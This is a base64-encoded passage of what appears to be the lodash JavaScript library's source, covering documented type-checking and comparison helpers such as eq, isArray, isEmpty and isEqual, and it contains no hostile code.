8uY29uZm9ybXNgIHdoZW4gYHNvdXJjZWAgaXNcbiAgICAgKiBwYXJ0aWFsbHkgYXBwbGllZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjE0LjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBzb3VyY2UgVGhlIG9iamVjdCBvZiBwcm9wZXJ0eSBwcmVkaWNhdGVzIHRvIGNvbmZvcm0gdG8uXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGBvYmplY3RgIGNvbmZvcm1zLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3QgPSB7ICdhJzogMSwgJ2InOiAyIH07XG4gICAgICpcbiAgICAgKiBfLmNvbmZvcm1zVG8ob2JqZWN0LCB7ICdiJzogZnVuY3Rpb24obikgeyByZXR1cm4gbiA+IDE7IH0gfSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5jb25mb3Jtc1RvKG9iamVjdCwgeyAnYic6IGZ1bmN0aW9uKG4pIHsgcmV0dXJuIG4gPiAyOyB9IH0pO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gY29uZm9ybXNUbyhvYmplY3QsIHNvdXJjZSkge1xuICAgICAgcmV0dXJuIHNvdXJjZSA9PSBudWxsIHx8IGJhc2VDb25mb3Jtc1RvKG9iamVjdCwgc291cmNlLCBrZXlzKHNvdXJjZSkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFBlcmZvcm1zIGFcbiAgICAgKiBbYFNhbWVWYWx1ZVplcm9gXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1zYW1ldmFsdWV6ZXJvKVxuICAgICAqIGNvbXBhcmlzb24gYmV0d2VlbiB0d28gdmFsdWVzIHRvIGRldGVybWluZSBpZiB0aGV5IGFyZSBlcXVpdmFsZW50LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7Kn0gb3RoZXIgVGhlIG90aGVyIHZhbHVlIHRvIGNvbXBhcmUuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIHRoZSB2YWx1ZXMgYXJlIGVxdWl2YWxlbnQsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ2EnOiAxIH07XG4gICAgICogdmFyIG90aGVyID0geyAnYSc6IDEgfTtcbiAgICAgKlxuICAgICAqIF8uZXEob2JqZWN0LCBvYmplY3QpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uZXEob2JqZWN0LCBvdGhlcik7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIF8uZXEoJ2EnLCAnYScpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uZXEoJ2EnLCBPYmplY3QoJ2EnKSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIF8uZXEoTmFOLCBOYU4pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBlcSh2YWx1ZSwgb3RoZXIpIHtcbiAgICAgIHJldHVybiB2YWx1ZSA9PT0gb3RoZXIgfHwgKHZhbHVlICE9PSB2YWx1ZSAmJiBvdGhlciAhPT0gb3RoZXIpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGdyZWF0ZXIgdGhhbiBgb3RoZXJgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuOS4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7Kn0gb3RoZXIgVGhlIG90aGVyIHZhbHVlIHRvIGNvbXBhcmUuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgZ3JlYXRlciB0aGFuIGBvdGhlcmAsXG4gICAgICogIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAc2VlIF8ubHRcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5ndCgzLCAxKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmd0KDMsIDMpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiBfLmd0KDEsIDMpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgdmFyIGd0ID0gY3JlYXRlUmVsYXRpb25hbE9wZXJhdGlvbihiYXNlR3QpO1xuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIGBvdGhlcmAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy45LjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNvbXBhcmUuXG4gICAgICogQHBhcmFtIHsqfSBvdGhlciBUaGUgb3RoZXIgdmFsdWUgdG8gY29tcGFyZS5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBncmVhdGVyIHRoYW4gb3IgZXF1YWwgdG9cbiAgICAgKiAgYG90aGVyYCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBzZWUgXy5sdGVcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5ndGUoMywgMSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5ndGUoMywgMyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5ndGUoMSwgMyk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICB2YXIgZ3RlID0gY3JlYXRlUmVsYXRpb25hbE9wZXJhdGlvbihmdW5jdGlvbih2YWx1ZSwgb3RoZXIpIHtcbiAgICAgIHJldHVybiB2YWx1ZSA+PSBvdGhlcjtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGxpa2VseSBhbiBgYXJndW1lbnRzYCBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGFuIGBhcmd1bWVudHNgIG9iamVjdCxcbiAgICAgKiAgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzQXJndW1lbnRzKGZ1bmN0aW9uKCkgeyByZXR1cm4gYXJndW1lbnRzOyB9KCkpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNBcmd1bWVudHMoWzEsIDIsIDNdKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIHZhciBpc0FyZ3VtZW50cyA9IGJhc2VJc0FyZ3VtZW50cyhmdW5jdGlvbigpIHsgcmV0dXJuIGFyZ3VtZW50czsgfSgpKSA/IGJhc2VJc0FyZ3VtZW50cyA6IGZ1bmN0aW9uKHZhbHVlKSB7XG4gICAgICByZXR1cm4gaXNPYmplY3RMaWtlKHZhbHVlKSAmJiBoYXNPd25Qcm9wZXJ0eS5jYWxsKHZhbHVlLCAnY2FsbGVlJykgJiZcbiAgICAgICAgIXByb3BlcnR5SXNFbnVtZXJhYmxlLmNhbGwodmFsdWUsICdjYWxsZWUnKTtcbiAgICB9O1xuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgY2xhc3NpZmllZCBhcyBhbiBgQXJyYXlgIG9iamVjdC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYW4gYXJyYXksIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pc0FycmF5KFsxLCAyLCAzXSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0FycmF5KGRvY3VtZW50LmJvZHkuY2hpbGRyZW4pO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiBfLmlzQXJyYXkoJ2FiYycpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiBfLmlzQXJyYXkoXy5ub29wKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIHZhciBpc0FycmF5ID0gQXJyYXkuaXNBcnJheTtcblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGNsYXNzaWZpZWQgYXMgYW4gYEFycmF5QnVmZmVyYCBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4zLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGFuIGFycmF5IGJ1ZmZlciwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzQXJyYXlCdWZmZXIobmV3IEFycmF5QnVmZmVyKDIpKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzQXJyYXlCdWZmZXIobmV3IEFycmF5KDIpKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIHZhciBpc0FycmF5QnVmZmVyID0gbm9kZUlzQXJyYXlCdWZmZXIgPyBiYXNlVW5hcnkobm9kZUlzQXJyYXlCdWZmZXIpIDogYmFzZUlzQXJyYXlCdWZmZXI7XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhcnJheS1saWtlLiBBIHZhbHVlIGlzIGNvbnNpZGVyZWQgYXJyYXktbGlrZSBpZiBpdCdzXG4gICAgICogbm90IGEgZnVuY3Rpb24gYW5kIGhhcyBhIGB2YWx1ZS5sZW5ndGhgIHRoYXQncyBhbiBpbnRlZ2VyIGdyZWF0ZXIgdGhhbiBvclxuICAgICAqIGVxdWFsIHRvIGAwYCBhbmQgbGVzcyB0aGFuIG9yIGVxdWFsIHRvIGBOdW1iZXIuTUFYX1NBRkVfSU5URUdFUmAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGFycmF5LWxpa2UsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pc0FycmF5TGlrZShbMSwgMiwgM10pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNBcnJheUxpa2UoZG9jdW1lbnQuYm9keS5jaGlsZHJlbik7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0FycmF5TGlrZSgnYWJjJyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0FycmF5TGlrZShfLm5vb3ApO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaXNBcnJheUxpa2UodmFsdWUpIHtcbiAgICAgIHJldHVybiB2YWx1ZSAhPSBudWxsICYmIGlzTGVuZ3RoKHZhbHVlLmxlbmd0aCkgJiYgIWlzRnVuY3Rpb24odmFsdWUpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uaXNBcnJheUxpa2VgIGV4Y2VwdCB0aGF0IGl0IGFsc28gY2hlY2tzIGlmIGB2YWx1ZWBcbiAgICAgKiBpcyBhbiBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGFuIGFycmF5LWxpa2Ugb2JqZWN0LFxuICAgICAqICBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNBcnJheUxpa2VPYmplY3QoWzEsIDIsIDNdKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzQXJyYXlMaWtlT2JqZWN0KGRvY3VtZW50LmJvZHkuY2hpbGRyZW4pO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNBcnJheUxpa2VPYmplY3QoJ2FiYycpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiBfLmlzQXJyYXlMaWtlT2JqZWN0KF8ubm9vcCk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0FycmF5TGlrZU9iamVjdCh2YWx1ZSkge1xuICAgICAgcmV0dXJuIGlzT2JqZWN0TGlrZSh2YWx1ZSkgJiYgaXNBcnJheUxpa2UodmFsdWUpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGNsYXNzaWZpZWQgYXMgYSBib29sZWFuIHByaW1pdGl2ZSBvciBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgYm9vbGVhbiwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzQm9vbGVhbihmYWxzZSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0Jvb2xlYW4obnVsbCk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0Jvb2xlYW4odmFsdWUpIHtcbiAgICAgIHJldHVybiB2YWx1ZSA9PT0gdHJ1ZSB8fCB2YWx1ZSA9PT0gZmFsc2UgfHxcbiAgICAgICAgKGlzT2JqZWN0TGlrZSh2YWx1ZSkgJiYgYmFzZUdldFRhZyh2YWx1ZSkgPT0gYm9vbFRhZyk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgYSBidWZmZXIuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4zLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgYnVmZmVyLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNCdWZmZXIobmV3IEJ1ZmZlcigyKSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0J1ZmZlcihuZXcgVWludDhBcnJheSgyKSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICB2YXIgaXNCdWZmZXIgPSBuYXRpdmVJc0J1ZmZlciB8fCBzdHViRmFsc2U7XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBjbGFzc2lmaWVkIGFzIGEgYERhdGVgIG9iamVjdC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSBkYXRlIG9iamVjdCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzRGF0ZShuZXcgRGF0ZSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0RhdGUoJ01vbiBBcHJpbCAyMyAyMDEyJyk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICB2YXIgaXNEYXRlID0gbm9kZUlzRGF0ZSA/IGJhc2VVbmFyeShub2RlSXNEYXRlKSA6IGJhc2VJc0RhdGU7XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBsaWtlbHkgYSBET00gZWxlbWVudC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSBET00gZWxlbWVudCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzRWxlbWVudChkb2N1bWVudC5ib2R5KTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzRWxlbWVudCgnPGJvZHk+Jyk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc0VsZW1lbnQodmFsdWUpIHtcbiAgICAgIHJldHVybiBpc09iamVjdExpa2UodmFsdWUpICYmIHZhbHVlLm5vZGVUeXBlID09PSAxICYmICFpc1BsYWluT2JqZWN0KHZhbHVlKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhbiBlbXB0eSBvYmplY3QsIGNvbGxlY3Rpb24sIG1hcCwgb3Igc2V0LlxuICAgICAqXG4gICAgICogT2JqZWN0cyBhcmUgY29uc2lkZXJlZCBlbXB0eSBpZiB0aGV5IGhhdmUgbm8gb3duIGVudW1lcmFibGUgc3RyaW5nIGtleWVkXG4gICAgICogcHJvcGVydGllcy5cbiAgICAgKlxuICAgICAqIEFycmF5LWxpa2UgdmFsdWVzIHN1Y2ggYXMgYGFyZ3VtZW50c2Agb2JqZWN0cywgYXJyYXlzLCBidWZmZXJzLCBzdHJpbmdzLCBvclxuICAgICAqIGpRdWVyeS1saWtlIGNvbGxlY3Rpb25zIGFyZSBjb25zaWRlcmVkIGVtcHR5IGlmIHRoZXkgaGF2ZSBhIGBsZW5ndGhgIG9mIGAwYC5cbiAgICAgKiBTaW1pbGFybHksIG1hcHMgYW5kIHNldHMgYXJlIGNvbnNpZGVyZWQgZW1wdHkgaWYgdGhleSBoYXZlIGEgYHNpemVgIG9mIGAwYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgZW1wdHksIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pc0VtcHR5KG51bGwpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNFbXB0eSh0cnVlKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzRW1wdHkoMSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc0VtcHR5KFsxLCAyLCAzXSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIF8uaXNFbXB0eSh7ICdhJzogMSB9KTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzRW1wdHkodmFsdWUpIHtcbiAgICAgIGlmICh2YWx1ZSA9PSBudWxsKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgfVxuICAgICAgaWYgKGlzQXJyYXlMaWtlKHZhbHVlKSAmJlxuICAgICAgICAgIChpc0FycmF5KHZhbHVlKSB8fCB0eXBlb2YgdmFsdWUgPT0gJ3N0cmluZycgfHwgdHlwZW9mIHZhbHVlLnNwbGljZSA9PSAnZnVuY3Rpb24nIHx8XG4gICAgICAgICAgICBpc0J1ZmZlcih2YWx1ZSkgfHwgaXNUeXBlZEFycmF5KHZhbHVlKSB8fCBpc0FyZ3VtZW50cyh2YWx1ZSkpKSB7XG4gICAgICAgIHJldHVybiAhdmFsdWUubGVuZ3RoO1xuICAgICAgfVxuICAgICAgdmFyIHRhZyA9IGdldFRhZyh2YWx1ZSk7XG4gICAgICBpZiAodGFnID09IG1hcFRhZyB8fCB0YWcgPT0gc2V0VGFnKSB7XG4gICAgICAgIHJldHVybiAhdmFsdWUuc2l6ZTtcbiAgICAgIH1cbiAgICAgIGlmIChpc1Byb3RvdHlwZSh2YWx1ZSkpIHtcbiAgICAgICAgcmV0dXJuICFiYXNlS2V5cyh2YWx1ZSkubGVuZ3RoO1xuICAgICAgfVxuICAgICAgZm9yICh2YXIga2V5IGluIHZhbHVlKSB7XG4gICAgICAgIGlmIChoYXNPd25Qcm9wZXJ0eS5jYWxsKHZhbHVlLCBrZXkpKSB7XG4gICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBQZXJmb3JtcyBhIGRlZXAgY29tcGFyaXNvbiBiZXR3ZWVuIHR3byB2YWx1ZXMgdG8gZGV0ZXJtaW5lIGlmIHRoZXkgYXJlXG4gICAgICogZXF1aXZhbGVudC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBzdXBwb3J0cyBjb21wYXJpbmcgYXJyYXlzLCBhcnJheSBidWZmZXJzLCBib29sZWFucyxcbiAgICAgKiBkYXRlIG9iamVjdHMsIGVycm9yIG9iamVjdHMsIG1hcHMsIG51bWJlcnMsIGBPYmplY3RgIG9iamVjdHMsIHJlZ2V4ZXMsXG4gICAgICogc2V0cywgc3RyaW5ncywgc3ltYm9scywgYW5kIHR5cGVkIGFycmF5cy4gYE9iamVjdGAgb2JqZWN0cyBhcmUgY29tcGFyZWRcbiAgICAgKiBieSB0aGVpciBvd24sIG5vdCBpbmhlcml0ZWQsIGVudW1lcmFibGUgcHJvcGVydGllcy4gRnVuY3Rpb25zIGFuZCBET01cbiAgICAgKiBub2RlcyBhcmUgY29tcGFyZWQgYnkgc3RyaWN0IGVxdWFsaXR5LCBpLmUuIGA9PT1gLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7Kn0gb3RoZXIgVGhlIG90aGVyIHZhbHVlIHRvIGNvbXBhcmUuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIHRoZSB2YWx1ZXMgYXJlIGVxdWl2YWxlbnQsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ2EnOiAxIH07XG4gICAgICogdmFyIG90aGVyID0geyAnYSc6IDEgfTtcbiAgICAgKlxuICAgICAqIF8uaXNFcXVhbChvYmplY3QsIG90aGVyKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBvYmplY3QgPT09IG90aGVyO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaXNFcXVhbCh2YWx1ZSwgb3RoZXIpIHtcbiAgICAgIHJldHVybiBiYXNlSXNFcXVhbCh2YWx1ZSwgb3RoZXIpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uaXNFcXVhbGAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgY3VzdG9taXplcmAgd2hpY2hcbiAgICAgKiBpcyBpbnZva2VkIHRvIGNvbXBhcmUgdmFsdWVzLiBJZiBgY3VzdG9taXplcmAgcmV0dXJucyBgdW5kZWZpbmVkYCwgY29tcGFyaXNvbnNcbiAgICAgKiBhcmUgaGFuZGxlZCBieSB0aGUgbWV0aG9kIGluc3RlYWQuIFRoZSBgY3VzdG9taXplcmAgaXMgaW52b2tlZCB3aXRoIHVwIHRvXG4gICAgICogc2l4IGFyZ3VtZW50czogKG9ialZhbHVlLCBvdGhWYWx1ZSBbLCBpbmRleHxrZXksIG9iamVjdCwgb3RoZXIsIHN0YWNrXSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNvbXBhcmUuXG4gICAgICogQHBhcmFtIHsqfSBvdGhlciBUaGUgb3RoZXIgdmFsdWUgdG8gY29tcGFyZS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbY3VzdG9taXplcl0gVGhlIGZ1bmN0aW9uIHRvIGN1c3RvbWl6ZSBjb21wYXJpc29ucy5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgdGhlIHZhbHVlcyBhcmUgZXF1aXZhbGVudCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBpc0dyZWV0aW5nKHZhbHVlKSB7XG4gICAgICogICByZXR1cm4gL15oKD86a